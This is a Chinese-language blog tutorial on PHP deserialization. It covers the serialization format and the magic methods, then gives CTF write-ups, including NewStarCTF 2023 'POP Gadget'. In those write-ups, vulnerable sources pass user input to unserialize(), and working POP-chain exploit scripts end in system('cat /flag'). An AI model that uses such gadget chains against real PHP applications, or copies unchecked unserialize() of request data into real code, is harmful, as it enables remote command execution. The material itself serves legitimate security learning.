php反序列化的学习

PHP反序列化

1.基础知识

  • PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。
  • PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复,使用unserialize()函数。
  • PHP反序列化漏洞:如果代码中使用了反序列化 unserialize()函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过在本地构造序列化字符串,同时利用PHP中的一系列魔术方法来达到想要实现的目的,如控制对象内部的变量甚至是函数。

2.序列化格式

例子如下

<?php
    class A {
        public $x;
        private $y;

        public function __construct($x, $y)
        {
            $this->x = $x;
            $this->y = $y;
        }
    }
    $number = 666;
    $str = 'str1ve';
    $bool = true;
    $null = NULL;
    $arr = array('a' => 1, 'b' => 2);
    $a = new A('str1ve', true);

    var_dump(serialize($number));	//string(6) "i:666;"
    var_dump(serialize($str));		//string(13) "s:6:"str1ve";"
    var_dump(serialize($bool));		//string(4) "b:1;"
    var_dump(serialize($null));		//string(2) "N;"
    var_dump(serialize($arr));		//string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
    var_dump(serialize($a));		//string(48) "O:1:"A":2:{s:1:"x";s:6:"str1ve";s:4:"Ay";b:1;}"
?>

输出结果如下:

string(6) "i:666;"
string(13) "s:6:"str1ve";"
string(4) "b:1;"
string(2) "N;"
string(30) "a:2:{s:1:"a";i:1;s:1:"b";i:2;}"
string(48) "O:1:"A":2:{s:1:"x";s:6:"str1ve";s:4:"Ay";b:1;}"

可以看到不同的php数据结构序列化后结构如下:
所以序列化对于不同类型得到的字符串格式为:

  • String : s:字符串长度:"字符串值";
  • Integer : i:数值;
  • Boolean : b:value;(value为1或0)
  • Null : N;
  • Array : a:数组大小:{键的描述;值的描述;键的描述;值的描述; ...} (描述值同String或Int型的序列化格式)
  • Object : O:类名长度:"类名":属性数量:{属性类型:属性名长度:属性名;属性值类型:属性值长度:属性值; ...}

除此之外,还要注意类内不同限定的属性及方法序列化后格式也不同,如下:

<?php
    class A
    {
        private $a="private";
    }
    class B
    {
        protected $b="protected";
    }
    class C
    {
        public $c="public";
    }
    $aa = new A();
    $bb = new B();
    $cc = new C();
    echo serialize($aa);
    echo serialize($bb);
    echo serialize($cc);
?>

输出如下:

O:1:"A":1:{s:4:" A a";s:7:"private";}
O:1:"B":1:{s:4:" * b";s:9:"protected";}
O:1:"C":1:{s:1:"c";s:6:"public";}

3.魔术方法

PHP中把以两个下划线__开头的方法称为魔术方法(Magic methods),这些方法在PHP中充当了举足轻重的作用。 魔术方法包括:

  1. __construct(),类的构造函数
  2. __destruct(),类的析构函数
  3. __call(),在对象中调用一个不可访问方法时调用
  4. __callStatic(),用静态方式中调用一个不可访问方法时调用
  5. __get(),获得一个类的成员变量时调用
  6. __set(),设置一个类的成员变量时调用
  7. __isset(),当对不可访问属性调用isset()或empty()时调用
  8. __unset(),当对不可访问属性调用unset()时被调用。
  9. __sleep(),执行serialize()时,先会调用这个函数
  10. __wakeup(),执行unserialize()时,先会调用这个函数
  11. __toString(),类被当成字符串时的回应方法
  12. __invoke(),调用函数的方式调用一个对象时的回应方法
  13. __set_state(),调用var_export()导出类时,此静态方法会被调用。
  14. __clone(),当对象复制完成时调用
  15. __autoload(),尝试加载未定义的类
  16. __debugInfo(),打印所需调试信息

其实在反序列化漏洞中经常利用的有:__construct()__destruct()__sleep()__wakeup()__toString()__invoke()__call()这几个,所以下面针对这几个作具体说明

1. __construct(),类的构造函数

php中构造方法是对象创建完成后第一个被对象自动调用的方法。在每个类中都有一个构造方法,如果没有显示地声明它,那么类中都会默认存在一个没有参数且内容为空的构造方法。

1、 构造方法的作用

通常构造方法被用来执行一些有用的初始化任务,如对成员属性在创建对象时赋予初始值。

2、 构造方法的在类中的声明格式

function __constrct([参数列表]){

    方法体 //通常用来对成员属性进行初始化赋值
}

3、 在类中声明构造方法需要注意的事项

1、在同一个类中只能声明一个构造方法,原因是,PHP不支持构造函数重载。

2、构造方法名称是以两个下画线开始的__construct()

例子:

<?php
    class Poc
    {                                                                      
            public $name;        
            public $age;        
            public $sex;        
                                                                 
        /**
         * 显示声明一个构造方法且带参数
         */                                                                                       
        public function __construct($name="", $sex="男", $age=19)
        {      
            $this->name = $name;
            $this->sex = $sex;
            $this->age = $age;
        }
        
        /**
         * say 方法
         */
        public function say()
        { 
            echo "我是:" . $this->name . ",性别:" . $this->sex . ",年龄:" . $this->age;
        }   
                                                                                           
    }

创建对象$Poc且不带任参数

$Poc1 = new Poc();
echo $Poc1->say(); //输出:我是:,性别:男,年龄:19

创建对象$Person2且带参数“str1ve”

$Poc2 = new Poc("str1ve");
echo $Poc2->say(); //输出:我是:str1ve,性别:男,年龄:19

2、__destruct(),类的析构函数

通过上面的讲解,现在我们已经知道了什么叫构造方法。那么与构造方法对应的就是析构方法。

析构方法允许在销毁一个类之前执行的一些操作或完成一些功能,比如说关闭文件、释放结果集等。

析构方法是PHP5才引进的新内容。

析造方法的声明格式与构造方法 __construct() 比较类似,也是以两个下划线开始的方法 __destruct() ,这种析构方法名称也是固定的。

1、 析构方法的声明格式

function __destruct()
{
 //方法体
}

注意:析构函数不能带有任何参数。

2、 析构方法的作用

一般来说,析构方法在PHP中并不是很常用,它属类中可选择的一部分,通常用来完成一些在对象销毁前的清理任务。

例如

<?php
class Poc{     
                                                        
    public $name;         
    public $age;         
    public $sex;         
                                                                    
    public function __construct($name="", $sex="男", $age=19)
    {   
        $this->name = $name;
        $this->sex  = $sex;
        $this->age  = $age;
    }
    
    /**
     * say 说话方法
     */
    public function say()
    {  
        echo "我叫:".$this->name.",性别:".$this->sex.",年龄:".$this->age;
    }    
    
    /**
     * 声明一个析构方法
     */
    public function __destruct()
    {
            echo "我的名字叫".$this->name;
    }
}

$Poc1 = new Poc("str1ve");
unset($Poc1); //销毁上面创建的对象$Poc1

运行结果:

我的名字叫str1ve

3、 __sleep(),执行serialize()时,先会调用这个函数

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,则该方法会优先被调用,然后才执行序列化操作。

此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的变量名称的数组。

如果该方法未返回任何内容,则 NULL 被序列化,并产生一个 E_NOTICE 级别的错误

注意:

__sleep() 不能返回父类的私有成员的名字。这样做会产生一个 E_NOTICE 级别的错误。可以用 Serializable 接口来替代。

作用:

__sleep() 方法常用于提交未提交的数据,或类似的清理操作。同时,如果有一些很大的对象,但不需要全部保存,这个功能就很好用。

请参考如下代码:

<?php
class Poc
{
    public $sex;
    public $name;
    public $age;

    public function __construct($name="",  $age=19, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    /**
     * _sleep()
     */
    public function __sleep() {
        echo "执行serialize()时,先会调用这个函数\n";
        $this->name = base64_encode($this->name);
        return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
    }
}

$poc = new Poc('str1ve'); // 初始赋值
echo serialize($poc);

运行结果

执行serialize()时,先会调用这个函数
O:3:"Poc":2:{s:4:"name";s:8:"c3RyMXZl";s:3:"age";i:19;}

4、 __wakeup(),执行unserialize()时,先会调用这个函数

_wakeup()与__sleep()函数相反,一个执行serialize()进行序列化时调用,一个执行unserialize()进行序列化时调用

unserialize()会检查是否存在一个 ____wakeup() 方法。如果存在,则会先调用 __wakeup方法

作用:

__wakeup() 经常用在反序列化操作中,例如重新建立数据库连接,或执行其它初始化操作。

例如

<?php
class Person
{
    public $sex;
    public $name;
    public $age;

    public function __construct($name="",  $age=19, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    /**
     * _sleep()
     */
    public function __sleep() {
        echo "执行serialize()时,先会调用这个函数\n";
        $this->name = base64_encode($this->name);
        return array('name', 'age'); // 这里必须返回一个数值,里边的元素表示返回的属性名称
    }

    /**
     * __wakeup
     */
    public function __wakeup() {
        echo "执行unserialize()时,先会调用这个函数\n";
        $this->name = 1;
        $this->sex = '男';
        // 这里不需要返回数组
    }
}

$person = new Person('str1ve'); // 初始赋值
var_dump(serialize($person));
var_dump(unserialize(serialize($person)));

运行结果

执行serialize()时,先会调用这个函数
string(58) "O:6:"Person":2:{s:4:"name";s:8:"c3RyMXZl";s:3:"age";i:19;}"
执行serialize()时,先会调用这个函数
执行unserialize()时,先会调用这个函数
object(Person)#2 (3) {
 ["sex"]=>
 string(3) "男"
 ["name"]=>
 int(1)
 ["age"]=>
 int(19)
}

5、 __toString(),类被当成字符串时的回应方法

作用:

__toString() 方法用于一个类被当成字符串时应怎样回应。例如 `echo $obj;` 应该显示些什么。

此方法必须返回一个字符串,否则将发出一条 E_RECOVERABLE_ERROR 级别的致命错误。

不能在 __toString() 方法中抛出异常。这么做会导致致命错误。

例子:

<?php
class Person
{
    public $sex;
    public $name;
    public $age;

    public function __construct($name="",  $age=19, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    public function __toString()
    {
        return  '1111';
    }
}

$person = new Person('str1ve'); // 初始赋值
echo $person;

结果:1111

那么如果类中没有 __toString() 这个魔术方法运行会发生报错

6、 __invoke(),调用函数的方式调用一个对象时的回应方法

当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用

例子:

<?php
class Person
{
    public $sex;
    public $name;
    public $age;

    public function __construct($name="",  $age=19, $sex='男')
    {
        $this->name = $name;
        $this->age  = $age;
        $this->sex  = $sex;
    }

    public function __invoke() {
        echo '一个对象';
    }

}

$person = new Person('str1ve'); // 初始赋值
$person();

结果:一个对象

7、 __call(),在对象中调用一个不可访问方法时调用。

该方法有两个参数,第一个参数 $function_name 会自动接收不存在的方法名,第二个 $arguments 则以数组的方式接收不存在方法的多个参数。

作用:

为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,可以使用 __call() 方法来避免。

该方法在调用的方法不存在时会自动调用,程序仍会继续执行下去。

例子:

<?php
class Person
{                             
    function say()
    {  
                              
           echo "Hello, world!"; 
    }      
        
    /**
     * 声明此方法用来处理调用对象中不存在的方法
     */
    function __call($funName, $arguments)
    { 
          echo "你所调用的函数:" . $funName . "(参数:" ;  // 输出调用不存在的方法名
          print_r($arguments); // 输出调用不存在的方法时的参数列表
          echo ")不存在!\n"; // 结束换行                      
    }                                          
}
$Person = new Person();            
$Person->run("teacher"); // 调用对象中不存在的方法,则自动调用了对象中的__call()方法
$Person->eat("str1ve", "苹果");             
$Person->say();                        

结果:

你所调用的函数:run(参数:Array
(
   [0] => teacher
)
)不存在!
你所调用的函数:eat(参数:Array
(
   [0] => str1ve
   [1] => 苹果
)
)不存在!
Hello, world!

4.反序列化漏洞分析

说了这么多,下面就通过几个例子看看到底如何利用php反序列化进行攻击。

1.全面考察

代码如下

<?php
class start_gg
{
        public $mod1;
        public $mod2;
        public function __destruct()
        {
                $this->mod1->test1();
        }
}
class Call
{
        public $mod1;
        public $mod2;
        public function test1()
    	{
            $this->mod1->test2();
    	}
}	
class funct
{
        public $mod1;
        public $mod2;
        public function __call($test2,$arr)
        {
                $s1 = $this->mod1;
                $s1();
        }
}
class func
{
        public $mod1;
        public $mod2;
        public function __invoke()
        {
                $this->mod2 = "字符串拼接".$this->mod1;
        } 
}
class string1
{
        public $str1;
        public $str2;
        public function __toString()
        {
                $this->str1->get_flag();
                return "1";
        }
}
class GetFlag
{
        public function get_flag()
        {
                echo "flag"
        }
}
$a = $_GET['string'];
unserialize($a);
?>

思路:

  • 要想获得输出flag,那么我们肯定要想办法调用GetFlag类的里的get_flag()方法。
  • string1类我们可以看到,只要把$str1实例化为GetFlag类的对象,然后调用想办法调用__toString()方法即可,那就找有没有地方把对象当作字符串了。
  • 往上看,func类的__invoke()方法中有用.来进行字符串拼接的代码,那么只要把$mod1实例化为string类的对象,然后再调用该__invoke()方法即可,那就找有没有地方把对象当作函数来调用了。
  • 发现在funct类的__call()中有 $s1();可以利用,只需要把$mod1实例化为func类的对象,然后再调用该__call()方法,那就找哪里调用了未声明的函数。
  • Call类中的test1()方法调用了不存在的test2()方法,所以只需要把$mod1实例化为funct类的对象,然后再调用该test1()方法。
  • 看到在start_gg类中的__destruct()方法中正好调用了test1()方法,那么只要$mod1实例化为Call类的对象即可。
  • 想要调用start_gg类中的__destruct()方法,只有实例化一个它的对象即可,这个对象在销毁时会自动调用__destruct()函数。
  • 如何在每个类中实例化另一个类呢?可以利用类的构造函数,只要这个类被实例化,构造函数就自动实例化了你所需要的那个类。

exp:

<?php
class start_gg
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new Call();
        }
}
class Call
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new funct();
        }
}
class funct
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new func();
        }
}
class func
{
        public $mod1;
        public function __construct()
        {
            $this->mod1 = new string1();
        }
}
class string1
{
        public $str1;
        public function __construct()
        {
            $this->str1 = new GetFlag();
        }
}
class GetFlag {}

$a = new start_gg();
echo serialize($a);
?>

输出结果:O:8:"start_gg":1:{s:4:"mod1";O:4:"Call":1:{s:4:"mod1";O:5:"funct":1:{s:4:"mod1";O:4:"func":1:{s:4:"mod1";O:7:"string1":1:{s:4:"str1";O:7:"GetFlag":0:{}}}}}}

2.NewstarCTF2023 WEB [WEEK3] POP Gadget

源码如下:

 <?php
class Begin{
    public $name;
 
    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}
 
class Then{
    private $func;
 
    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }
 
}
 
class Handle{
    protected $obj;
 
    public function __call($func, $vars)
    {
        $this->obj->end();
    }
 
}
 
class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }
 
    public function end()
    {
        die("==GAME OVER==");
    }
}
 
class CTF{
    public $handle;
 
    public function end()
    {
        unset($this->handle->log);
    }
 
}
 
class WhiteGod{
    public $func;
    public $var;
 
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}
 
@unserialize($_POST['pop']); 

__destruct() 中,由于 $name 包含一个 Then 对象,会触发 __toString() 魔术方法。在 __toString() 方法中,首先调用 $this->func 属性指向的对象(即 Super 对象),接下来进入 Super 类,由于该类含有一个 __invoke() 魔术方法,因此在调用 Super 对象时会触发 __invoke() 方法。在 __invoke() 方法中,又会调用 $this->obj->getStr() 方法,并进入 Handle 类中。

由于 Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 __call() 魔术方法。在 __call() 方法中,将会调用 $this->obj->end() 方法,并触发 CTF 类中的 end() 方法。

在 CTF 类的 end() 方法中,我们会调用 unset($this->handle->log),从而触发 WhiteGod 类的 __unset() 魔术方法。在 __unset() 方法中,我们构造了一个命令行字符串,然后通过执行漏洞执行了系统命令。

exp:

 <?php
 
class Begin{
    public $name;
 
    public function __destruct()
    {
 
    }
}
 
class Then{
    private $func;
	
	public function __construct()
 
    {
 
        $s=new Super();
 
        $this->func=$s;
 
    }
 
    public function __toString(){
        ($this->func)();//这里把Super当函数调用,实际触发了Super()里面的__invoke方法
        return "Good Job!";
    }
}
 
class Handle{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new CTF();//实例化CTF()后给这里的obj赋值
 
    }
 
    public function __call($func, $vars)
    {
        $this->obj->end();//调用了CTF()里的end()方法
    }
 
}
 
class Super{
    protected $obj;
	public function __construct()
 
    {
 
        $this->obj=new Handle();//为protected $obj赋值
    }
    public function __invoke()
    {
        $this->obj->getStr();//Handle 类没有定义 getStr() 方法,因此在调用这个方法时会触发 handle里的__call() 魔术方法
    }
 
    public function end()
    {
        die("==GAME OVER==");
    }
}
 
class CTF{
    public $handle;
 
    public function __construct()
 
    {
 
        $w=new WhiteGod();
 
        $this->handle=$w;
 
    } 
    public function end()
    {
        unset($this->handle->log);//在这个end()方法中我们试图用unset()删除WhiteGod()里面的log属性
    }
 
}
 
class WhiteGod{
    public $func='system';
    public $var="cat /flag";
 
    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}
$b=new Begin();
$b->name=new Then();
echo urlencode(serialize($b)); 
posted @ 2023-11-12 17:58  str1ve-  阅读(133)  评论(0编辑  收藏  举报